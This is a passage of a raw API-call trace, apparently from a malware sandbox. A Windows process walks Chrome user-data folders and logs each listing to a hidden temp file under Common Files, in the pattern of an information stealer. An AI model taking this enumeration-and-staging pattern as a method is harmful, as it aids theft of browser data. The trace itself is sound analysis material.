lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xf3, lpOverlapped=0x0) returned 1 [0126.541] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.542] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.542] GetLastError () returned 0x12 [0126.542] AreFileApisANSI () returned 1 [0126.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.542] GetFileType (hFile=0x18c) returned 0x1 [0126.542] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.542] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.542] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xef, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xef, lpOverlapped=0x0) returned 1 [0126.542] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x837740, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.543] AreFileApisANSI () returned 1 [0126.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.543] GetFileType (hFile=0x190) returned 0x1 [0126.543] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.543] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.543] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xf6, lpOverlapped=0x0) returned 1 [0126.543] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.544] AreFileApisANSI () returned 1 [0126.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.544] GetFileType (hFile=0x194) returned 0x1 [0126.544] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.544] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.544] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x100, lpOverlapped=0x0) returned 1 [0126.544] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x418, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.677] AreFileApisANSI () returned 1 [0126.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.678] GetFileType (hFile=0x198) returned 0x1 [0126.678] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.678] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.678] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x118, lpOverlapped=0x0) returned 1 [0126.678] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x5000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x4f09, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.679] AreFileApisANSI () returned 1 [0126.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.679] GetFileType (hFile=0x198) returned 0x1 [0126.679] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.679] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.679] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x109, lpOverlapped=0x0) returned 1 [0126.679] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x5021, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.679] AreFileApisANSI () returned 1 [0126.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.679] GetFileType (hFile=0x198) returned 0x1 [0126.679] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.680] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.680] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x108, lpOverlapped=0x0) returned 1 [0126.680] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x512a, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.680] AreFileApisANSI () returned 1 [0126.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.680] GetFileType (hFile=0x198) returned 0x1 [0126.680] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.680] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.680] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x10c, lpOverlapped=0x0) returned 1 [0126.680] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x5232, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.680] AreFileApisANSI () returned 1 [0126.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.681] GetFileType (hFile=0x198) returned 0x1 [0126.681] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.681] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.681] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x111, lpOverlapped=0x0) returned 1 [0126.681] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x533e, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.681] AreFileApisANSI () returned 1 [0126.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.681] GetFileType (hFile=0x198) returned 0x1 [0126.681] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.681] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.681] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x10d, lpOverlapped=0x0) returned 1 [0126.682] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x544f, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.682] AreFileApisANSI () returned 1 [0126.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.682] GetFileType (hFile=0x198) returned 0x1 [0126.682] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.682] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.682] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x10c, lpOverlapped=0x0) returned 1 [0126.682] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x555c, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.682] AreFileApisANSI () returned 1 [0126.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.682] GetFileType (hFile=0x198) returned 0x1 [0126.682] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.683] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.683] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x106, lpOverlapped=0x0) returned 1 [0126.683] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x5668, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.683] AreFileApisANSI () returned 1 [0126.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.683] GetFileType (hFile=0x198) returned 0x1 [0126.683] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.683] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.683] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x112, lpOverlapped=0x0) returned 1 [0126.683] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x576e, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.683] AreFileApisANSI () returned 1 [0126.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.684] GetFileType (hFile=0x198) returned 0x1 [0126.684] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.684] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.684] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x10b, lpOverlapped=0x0) returned 1 [0126.686] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x5880, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.687] AreFileApisANSI () returned 1 [0126.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.687] GetFileType (hFile=0x198) returned 0x1 [0126.687] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.687] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.687] WriteFile (in: 